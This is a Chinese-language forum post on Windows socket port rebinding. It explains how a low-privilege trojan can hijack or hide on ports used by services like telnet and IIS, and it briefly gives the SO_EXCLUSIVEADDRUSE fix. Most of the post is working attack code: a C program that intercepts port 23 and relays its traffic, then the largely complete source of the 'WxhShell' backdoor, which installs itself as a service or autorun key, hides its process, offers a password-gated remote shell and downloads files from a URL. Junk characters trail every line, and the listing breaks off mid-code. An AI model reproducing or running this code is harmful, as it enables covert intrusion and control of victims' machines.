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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B,~f "  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b\SXZN)Be  
{c v;w  
  saddr.sin_family = AF_INET; 6V'wQqJ  
QRsqPh&-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3[MdUj1y[  
:`:xP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  =3h+=l[  
!7A"vTs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :.C+?$iuX  
,|e}Y [  
  这意味着什么?意味着可以进行如下的攻击: ??%)|nj.  
U>/<6 Wd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 IY];Ss&i  
bin6i2b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R^jlEt\&P  
GwgFi@itN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k-{yu8*';  
2-B6IPeI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ShC_hi  
J y]FrSm^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8!Wfd)4=,F  
[NQmL=l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9T8|y]0F  
;):8yBMk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Qy4X#wgD  
Ty`-r5  
  #include >pgQb9 T+_  
  #include *D\0.K,o  
  #include p G)9=X!9  
  #include    P#AAOSlLV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "V:   
  int main() v*&Uk '4E  
  { 4st~3,lR$  
  WORD wVersionRequested; t{+ M|Y  
  DWORD ret; Jb( DJ-&  
  WSADATA wsaData; f&6w;T=  
  BOOL val; 99J+$A1  
  SOCKADDR_IN saddr; PPUEkvH W  
  SOCKADDR_IN scaddr; q $t&|{  
  int err; mG0L !5  
  SOCKET s; uK$=3[;U/!  
  SOCKET sc; dVvZu% DFp  
  int caddsize; 1v;'d1Hg;  
  HANDLE mt; J2rvJ2l=t  
  DWORD tid;   r %+Bc Y  
  wVersionRequested = MAKEWORD( 2, 2 ); gdOe)il\  
  err = WSAStartup( wVersionRequested, &wsaData ); >NJjS8f5  
  if ( err != 0 ) { -<8B,  
  printf("error!WSAStartup failed!\n"); [:Be[pLC  
  return -1; V{43HA10b  
  } KA`0g=  
  saddr.sin_family = AF_INET; [6O04"6K  
   tJff+n>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [.{^"<Z<  
=.DTR5(_h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Nfr:`$k  
  saddr.sin_port = htons(23); iOl%-Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /j11,O?72  
  { >H$;Z$o*(  
  printf("error!socket failed!\n"); ,g%o  
  return -1; >J.Qm0TY(  
  } y7>iz6N  
  val = TRUE; {z=j_;<]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xsYE=^uv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yDzdE;  
  { 9e]'OKL+  
  printf("error!setsockopt failed!\n"); ]+mjOks~  
  return -1; j H(&oV  
  } ;8BA~,4l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `ovgWv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K|US~Hgv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5!t b$p#z  
sA3UeTf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .x EJaID\N  
  { AfN&n= d K  
  ret=GetLastError(); &2Q*1YXj  
  printf("error!bind failed!\n"); /oFc 03d  
  return -1; ZBF1rx?  
  } n3'dLJH|  
  listen(s,2); ?d4Boe0-a2  
  while(1) MO-!TZ+6  
  { ^xt9pa$f  
  caddsize = sizeof(scaddr); aV<^IxE;  
  //接受连接请求 3^XVQS***  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `os8;`G  
  if(sc!=INVALID_SOCKET) 6%E~p0)i%  
  { Vg{Zv4+t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vu<#wW*9  
  if(mt==NULL) eHUg-\dy  
  { iTu0T!4F  
  printf("Thread Creat Failed!\n"); 7D   
  break; l0Y?v 4  
  } 7lR<@$q  
  } )yrAov\z*  
  CloseHandle(mt); +TF8WZZF.d  
  } @UO}W_0ZD  
  closesocket(s); >ukQ, CE~  
  WSACleanup(); U;p e:  
  return 0; h8jB=e, H  
  }   IM=+3W;ak  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~r&D6Y  
  { MxTmWsaW  
  SOCKET ss = (SOCKET)lpParam; 1q] & 7R  
  SOCKET sc; \Tyf*:_F>  
  unsigned char buf[4096]; 5,R`@&K3D  
  SOCKADDR_IN saddr; GD&htob(  
  long num; m6i%DE  
  DWORD val; B)6#Lp3  
  DWORD ret; ,#d[ad<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m2O&2[g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jgq{pZ#E  
  saddr.sin_family = AF_INET; krjN7&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .,M;huRg  
  saddr.sin_port = htons(23); AF$\WWrB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aMJ;bQD  
  { kiX%3(  
  printf("error!socket failed!\n"); +c) TDH  
  return -1; OKAkl  
  } g<a<*)&  
  val = 100; '$[Di'*;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7"cv|6y|  
  { ^A!$i$NON  
  ret = GetLastError(); pj; I)-d/  
  return -1; cDeZMsV  
  } k>5O`Y:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [l*;E f,  
  { Qqq <e  
  ret = GetLastError(); lhO2'#]i  
  return -1; L/i(KF{  
  } ]?&FOzN5$P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  D:JS)+]  
  { 9i%9   
  printf("error!socket connect failed!\n"); ?WHy0x20  
  closesocket(sc); _a5(s2wq+  
  closesocket(ss); ,2,5Odrz  
  return -1; x=*L-  
  } aWGon]2p  
  while(1) EB,4PEe:  
  { 1'O0`Me>#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pM2a(\K,k^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  zF: j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Uu'dv#4Iw  
  num = recv(ss,buf,4096,0); $Q/Ya@o  
  if(num>0) -5k2j^r;  
  send(sc,buf,num,0); 2d`c!  
  else if(num==0) Uf$i3  
  break; Hg+ F^2<y  
  num = recv(sc,buf,4096,0); 2f,2rW^i  
  if(num>0) %Q~CB7ILK  
  send(ss,buf,num,0); j O8k6<l  
  else if(num==0) .=<$S#x^Hb  
  break; E FY@Y[  
  } o8ppMM8_R[  
  closesocket(ss); XUS vhr$|  
  closesocket(sc); !#}7{  
  return 0 ; FS@A8Bb  
  } H l<$a"K7\  
X3B{8qx_>  
j*3}1L4P  
========================================================== sbS~N*{E  
ROdK8*jL  
下边附上一个代码,,WXhSHELL ZnfNQl[  
v>m n/a  
========================================================== XUmR{A  
v(O=IUa  
#include "stdafx.h" `hrQw)5?r  
XvKFPr0~  
#include <stdio.h> GwLFL.Ke  
#include <string.h> xs!p|  
#include <windows.h> JhX=l-?  
#include <winsock2.h> yI)~]K r  
#include <winsvc.h> VKW|kU7Cs$  
#include <urlmon.h> }}T,W.#%u  
Jpj!rXTX*  
#pragma comment (lib, "Ws2_32.lib") Uyx&E?SlEq  
#pragma comment (lib, "urlmon.lib") zp4W'8  
'\~^TFi  
#define MAX_USER   100 // 最大客户端连接数 0LL c 1t>}  
#define BUF_SOCK   200 // sock buffer Zyye%Ly  
#define KEY_BUFF   255 // 输入 buffer 9[Qd)%MO  
0X9Y~TM%  
#define REBOOT     0   // 重启 SEd5)0X^  
#define SHUTDOWN   1   // 关机 J|~26lG  
L*JPe"N -e  
#define DEF_PORT   5000 // 监听端口 ;>"nn VW  
g/Wh,f3  
#define REG_LEN     16   // 注册表键长度 i::\Z$L";i  
#define SVC_LEN     80   // NT服务名长度 '2nqHX D  
e3m*i}K}  
// 从dll定义API A3{0q>CC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d,cN(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '&yeQ   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jbmTmh1q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <@uOCRb V  
la^ DjHA$  
// wxhshell配置信息 vkcRm`.  
struct WSCFG { #A<P6zJXR  
  int ws_port;         // 监听端口 0q6I;$H  
  char ws_passstr[REG_LEN]; // 口令 Ee2c5C!|C  
  int ws_autoins;       // 安装标记, 1=yes 0=no B'weok  
  char ws_regname[REG_LEN]; // 注册表键名 Of[;Qn  
  char ws_svcname[REG_LEN]; // 服务名 tE"Si<[]H$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F n|gVR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]v29 Rx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uTvv(f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'Kbl3fUF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QIU,!w-3X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Is.WZY a  
BNucc']  
}; %NARyz  
Qt+:4{He  
// default Wxhshell configuration b,^*mx=  
struct WSCFG wscfg={DEF_PORT, ;<wS+4,  
    "xuhuanlingzhe", <7sIm^N  
    1, K_BPZ5w  
    "Wxhshell", ^TFs;|..  
    "Wxhshell", r)T[(D'Tm-  
            "WxhShell Service", zO=%J)-=  
    "Wrsky Windows CmdShell Service", 'vIx#k4D1  
    "Please Input Your Password: ", [=%YV# O  
  1, C>QIrZu  
  "http://www.wrsky.com/wxhshell.exe", D'[Uc6  
  "Wxhshell.exe" , c;eN  
    }; \nvAa_,  
:@3Wg3N  
// 消息定义模块 b1`r!B,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rf"Mr:^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0GXO&rCG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q6q1\YB  
char *msg_ws_ext="\n\rExit."; Y)I8eU{Wl(  
char *msg_ws_end="\n\rQuit."; ]MTbW=*}ED  
char *msg_ws_boot="\n\rReboot..."; q/&y*)&'O  
char *msg_ws_poff="\n\rShutdown..."; 8im@4A+n`  
char *msg_ws_down="\n\rSave to "; (lH,JX`$a  
USPTpjt8R  
char *msg_ws_err="\n\rErr!"; O8u3y  
char *msg_ws_ok="\n\rOK!"; ~H6;I$e[  
\h{r;#g  
char ExeFile[MAX_PATH]; G*}F5.>8(  
int nUser = 0; saZ>?Owz  
HANDLE handles[MAX_USER]; PX,rWkOce  
int OsIsNt; v."Dnl  
` %?9=h%  
SERVICE_STATUS       serviceStatus; >^_ bD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8;\sU?  
2WBq  
// 函数声明 H7g< p"  
int Install(void); I!: z,t<  
int Uninstall(void); NCS!:d:Ry  
int DownloadFile(char *sURL, SOCKET wsh); )j&"%[2F  
int Boot(int flag); "^CXY3v  
void HideProc(void); bE\,}DTy  
int GetOsVer(void); eiMH['X5  
int Wxhshell(SOCKET wsl); 6[dur'x  
void TalkWithClient(void *cs); @,H9zrjVFZ  
int CmdShell(SOCKET sock); u5E]t9~Pq  
int StartFromService(void); f-RK,#^?,  
int StartWxhshell(LPSTR lpCmdLine); E;(Rm>lB  
a P()|js  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^ @=^;nB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w!3>N"em  
3:CO{=`\7B  
// 数据结构和表定义 ;h/pnmhP  
SERVICE_TABLE_ENTRY DispatchTable[] = 2j&@ p>  
{ K%g;NW  
{wscfg.ws_svcname, NTServiceMain}, nKh&-E   
{NULL, NULL} )mN9(Ob!  
}; ~6[*q~B  
e$/B_o7(  
// 自我安装  u\e\'\  
int Install(void) X" R<J#4  
{ mxG]kqi  
  char svExeFile[MAX_PATH]; "4xfrlOc  
  HKEY key; gUax'^w;V;  
  strcpy(svExeFile,ExeFile); U8QX46Br  
CnF |LTi  
// 如果是win9x系统,修改注册表设为自启动 "5|Lz)=  
if(!OsIsNt) { #Z!b G?="  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uQ Co6"e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vA%^`5  
  RegCloseKey(key); \F6LZZ2Lv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j|_E$L A\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e 9$C#D> D  
  RegCloseKey(key); %Z]'!X  
  return 0; d5j_6X  
    } le>Wm&E  
  } m~l F`?  
} qoU3"8  
else { df*w>xS  
RuRt0Sd3  
// 如果是NT以上系统,安装为系统服务 f"5g>[ 1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 34 AP(3w  
if (schSCManager!=0) CQg X=!q  
{ wzWbB2Mb5  
  SC_HANDLE schService = CreateService j ) vlM+  
  ( u:gtOjk2  
  schSCManager, e]>ori 8  
  wscfg.ws_svcname, 3 /6/G}s  
  wscfg.ws_svcdisp, ZU2laqa_  
  SERVICE_ALL_ACCESS, y }2F9=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `TKD<&oL  
  SERVICE_AUTO_START, 3tS~:6-/  
  SERVICE_ERROR_NORMAL, GUB`|is^  
  svExeFile, bha?eN  
  NULL, f^<6`Aeq  
  NULL, vwGeD|Fb5  
  NULL, hsLzj\)6  
  NULL, L;t)c  
  NULL sKaE-sbJY  
  ); b3$k9dmxV+  
  if (schService!=0) T3&`<%,f  
  { /\d$/~BFi  
  CloseServiceHandle(schService); UHO_Z  
  CloseServiceHandle(schSCManager); ] gb=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |Rzy8j*  
  strcat(svExeFile,wscfg.ws_svcname); vP-M,4c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2(YPz|~W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t2{~bzq1X  
  RegCloseKey(key); /uqu32;o  
  return 0; % g"eV4 j  
    } "dh:-x6  
  } )hKS0`$|  
  CloseServiceHandle(schSCManager); 6gO9 MQY  
} GJ(d&o8  
} 4/> Our 5  
2s ,8R  
return 1; P* #8 ZMA<  
} +{`yeZ9S  
w=b(X q+:  
// 自我卸载 *<V^2z$y_  
int Uninstall(void)  3yS  
{ ni CE\B~  
  HKEY key; JN3cg  
``Q 2P%  
if(!OsIsNt) { 7YIK9edP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'C+;r?1!h  
  RegDeleteValue(key,wscfg.ws_regname); Yn51U6_S  
  RegCloseKey(key); &%aXR A#+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8%{q%+  
  RegDeleteValue(key,wscfg.ws_regname); !UBO_X%dz  
  RegCloseKey(key); !mfJpJ  
  return 0; dx_6X!=.J  
  } Bo_ym36N  
} MFit|C  
} ;^k7zNf-  
else { o,Z{ w"  
*iX e^<6v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N> Jw  
if (schSCManager!=0) zzpZ19"`1  
{ ^+70<#Xc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); " BTE  
  if (schService!=0) F 8yF  
  { %oykcf,#  
  if(DeleteService(schService)!=0) { }E <^gAh}  
  CloseServiceHandle(schService); LwJ0  
  CloseServiceHandle(schSCManager); ENh8kD l5  
  return 0; Ps[$.h  
  } eH>#6R1-  
  CloseServiceHandle(schService); "AueLl)  
  } c$E)P$<j  
  CloseServiceHandle(schSCManager); SqPtWEq@P  
} / l>.mK()  
} =Ov7C[(  
<_S@6 ?  
return 1; IfdI|ya  
} XH4d<?qu  
&&8'0 .M{  
// 从指定url下载文件 h#YD~!aJ  
int DownloadFile(char *sURL, SOCKET wsh) $+= <(*  
{ Y Z}cB  
  HRESULT hr; K\! #4>yd  
char seps[]= "/"; C*Vd-U  
char *token; l)8&Ip  
char *file; < +`(\  
char myURL[MAX_PATH]; ,i}|5ozj4  
char myFILE[MAX_PATH]; RNJ FSD.  
jRZ%}KX  
strcpy(myURL,sURL); 0NE{8O0;Fr  
  token=strtok(myURL,seps); {5Lj8 N5  
  while(token!=NULL) 6.Ie\5-a;  
  { &]p}+{ (>  
    file=token; ".2K9j7$  
  token=strtok(NULL,seps); s'I)A^i+  
  } V-W'RunnW  
L^Wz vv]  
GetCurrentDirectory(MAX_PATH,myFILE); ?H|T& 66  
strcat(myFILE, "\\"); x!7yU_ls`  
strcat(myFILE, file); Nud,\mXrY[  
  send(wsh,myFILE,strlen(myFILE),0); mO rWJ~=  
send(wsh,"...",3,0); G$WOzY(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?r_kyuU  
  if(hr==S_OK) ;<Qdy` T  
return 0; _]>JB0IY  
else Csst[3V  
return 1; S\C*iGeqJ  
_kraMQ>  
} "PWl4a&  
m)>&ZIXa  
// 系统电源模块 /MTf0^9  
int Boot(int flag) Fe=8O ^\  
{ qt?*MyfV  
  HANDLE hToken; ?Hz2-Cn  
  TOKEN_PRIVILEGES tkp; &_-](w`  
Mhpdaos  
  if(OsIsNt) {  $g8}^1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^QL 877  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -AD2I {C  
    tkp.PrivilegeCount = 1; |Fln8wB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D0bnN1VP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fib#CY  
if(flag==REBOOT) { *:"^[Ckc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ? 5|/ C  
  return 0; 2ypIq  
} laREjN/\`  
else { (|h:h(C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $~u.Wq  
  return 0; }uO5q42  
} ]KK`5Dv|,e  
  } I."p  
  else { 0{rx.C7|  
if(flag==REBOOT) { hSV@TL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W Ox_y,  
  return 0;  @|A|  
} khX|" d360  
else { #a~"K|' G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ? Nj)6_&  
  return 0; ! p.^ITM3S  
} L:f)i,S"5q  
} mV\$q@sII  
pA4 ,@O  
return 1; Q+[ .Y&  
} &y. dmW  
a-0cN 9  
// win9x进程隐藏模块 C8b''9t.  
void HideProc(void) [1Dm<G u@  
{ MWwJzVL8  
3(_!`0#F%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )iE"Tl  
  if ( hKernel != NULL ) BSUPS+@+  
  { oN,s.Of  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .XH8YT42  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \_ow9vU  
    FreeLibrary(hKernel); ]|oJ)5P  
  } .[pUuVq]  
F'W> 8  
return; " ~Q*XN2  
} d0UZ+ RR#  
{U @3yB  
// 获取操作系统版本 \ aKd5@  
int GetOsVer(void) ?S`>>^  
{ iD_T P  
  OSVERSIONINFO winfo; S`g;Y '  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <|F-Dd  
  GetVersionEx(&winfo);  kq/u,16@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @6MAX"  
  return 1; W kkxU.xXE  
  else mb1IQ &  
  return 0; xy^1US ,L1  
} vOT*iax0  
X0i3_RVa  
// 客户端句柄模块 >{&A%b4JF  
int Wxhshell(SOCKET wsl) VWa|Y@Dc]  
{ zG% |0  
  SOCKET wsh; vA>W9OI   
  struct sockaddr_in client; ,b.n{91[]x  
  DWORD myID; wh6&>m#r  
[X"k> Sq  
  while(nUser<MAX_USER) VTw/_Hf2p  
{ ~ =.CTm]vf  
  int nSize=sizeof(client); i Ci>zJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rK=6]j(K  
  if(wsh==INVALID_SOCKET) return 1; Ye |G44z  
I'_v{k5ZI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &L3 #:jSk  
if(handles[nUser]==0) $Z6D:"K  
  closesocket(wsh); f%Ke8'&  
else UxqWnHH.`  
  nUser++; Q1V2pP+=@  
  } /~hbOs/ L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $I8[BYblB  
&9P<qU^N)  
  return 0; a@ W7<9fY;  
} OlGR<X  
r%-n*_?.s  
// 关闭 socket myvh@@N  
void CloseIt(SOCKET wsh) ]N}]d +^6  
{ Q_}n%P:u  
closesocket(wsh); j jY{Uq  
nUser--; <94WZ?{p  
ExitThread(0); |5ONFd e"0  
} FdxsU DL  
[x_s/"Md;  
// 客户端请求句柄 rm|7 [mK  
void TalkWithClient(void *cs) %V_eJC""?  
{ <Cq"| A  
Z<]VTo  
  SOCKET wsh=(SOCKET)cs; BjZ>hhs!*  
  char pwd[SVC_LEN]; OmNn,PCl8  
  char cmd[KEY_BUFF]; # "r kuDO  
char chr[1]; `ue?Z%p|  
int i,j; ,+-h7^{`  
G8P+A1 f/>  
  while (nUser < MAX_USER) { SCq3Ds^  
# #>a&,  
if(wscfg.ws_passstr) { ptR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2PBepgQyPU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !%62Phai  
  //ZeroMemory(pwd,KEY_BUFF); ;1E_o  
      i=0; 7A0dl}:  
  while(i<SVC_LEN) { O5MDGg   
B9W/bJ6%  
  // 设置超时 "::9aYd!  
  fd_set FdRead; -tP.S1D  
  struct timeval TimeOut; |[WL2<  
  FD_ZERO(&FdRead); Q X):T#^V  
  FD_SET(wsh,&FdRead); V.j#E 1P  
  TimeOut.tv_sec=8; FO^24p  
  TimeOut.tv_usec=0; ;Jo*|pju  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qw0~ *0}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fLM.k CD?u  
+$ ~8)95<B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZgBckb  
  pwd=chr[0]; G5u meqYC  
  if(chr[0]==0xd || chr[0]==0xa) { n)CH^WHL&  
  pwd=0; 88YC0!Ni  
  break; 'FxYMSZS$  
  } BvJ\x)  
  i++; ^0eO\wc?O  
    } ybYXD?  
am (#Fa  
  // 如果是非法用户,关闭 socket J/[7d?hI/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \E&thp  
} Zh? V,39  
.h6Y< E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wRi~Yb?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `skH-lk,  
|VYr=hjo  
while(1) { QX+Y(P`vMK  
'A1E^rl]=  
  ZeroMemory(cmd,KEY_BUFF); *vD/(&pQ1:  
E6Q91Wz9f  
      // 自动支持客户端 telnet标准   QRiF!D)Nk  
  j=0; 5iv@@1c  
  while(j<KEY_BUFF) { )BpIxWd?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vVdxi9yk  
  cmd[j]=chr[0]; _KxX&THaj  
  if(chr[0]==0xa || chr[0]==0xd) { i8eA_Q  
  cmd[j]=0; !|(Ao"]  
  break; `W="g6(  
  } ,i;9[4QMX  
  j++; o[imNy~~  
    } 4V>vg2 d  
K"I{\/x@  
  // 下载文件 D/*vj|  
  if(strstr(cmd,"http://")) { (I!1sE!?1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2X^iV09  
  if(DownloadFile(cmd,wsh)) fGo_NB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %cd]xQpCp  
  else i _8zjj7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k3 /4Bt G/  
  } wvX"D0eVn  
  else { "V:XhBG?  
NC;T( @  
    switch(cmd[0]) { 'l8eH$  
  n }TTq6B  
  // 帮助 eoC<a"bJ>  
  case '?': { qb9}&'@:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U#iT<#!l2  
    break; VrudR#q  
  } E4hq}  
  // 安装 XWc|[>iO  
  case 'i': { 69-$Wn43<  
    if(Install()) ^Jn|*?+l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /LSq%~UF  
    else vg5E/+4gp%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :nt}7Dn'  
    break; *:(1K%g  
    } M$#+W?m&  
  // 卸载 01-p `H+  
  case 'r': { Q.<giBh  
    if(Uninstall()) LuLy6]6D;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fz{o-4  
    else 2-p8rGI_F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .5Q5\qc=  
    break; #qPV Qt  
    } +$'e4EwqV  
  // 显示 wxhshell 所在路径 7Y4%R`9H  
  case 'p': { p-a]"l+L  
    char svExeFile[MAX_PATH]; _pJX1_vD  
    strcpy(svExeFile,"\n\r"); FV`3,NFk  
      strcat(svExeFile,ExeFile); @f-0X1C."N  
        send(wsh,svExeFile,strlen(svExeFile),0); y B1W>s8&  
    break; Cx$9#3\  
    } BzN/6VEw  
  // 重启 3HXh6( e  
  case 'b': { z/pDOP Ku  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xx=K?Z?3.  
    if(Boot(REBOOT)) nIG[{gGX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mp!2`4rD  
    else { NT'Ie]|  
    closesocket(wsh); Dy98[cL  
    ExitThread(0); \]Kq(k[p  
    } }'%$7vL`Ft  
    break; kg zwlKK  
    } CzK%x?~]  
  // 关机 :u,2" ]  
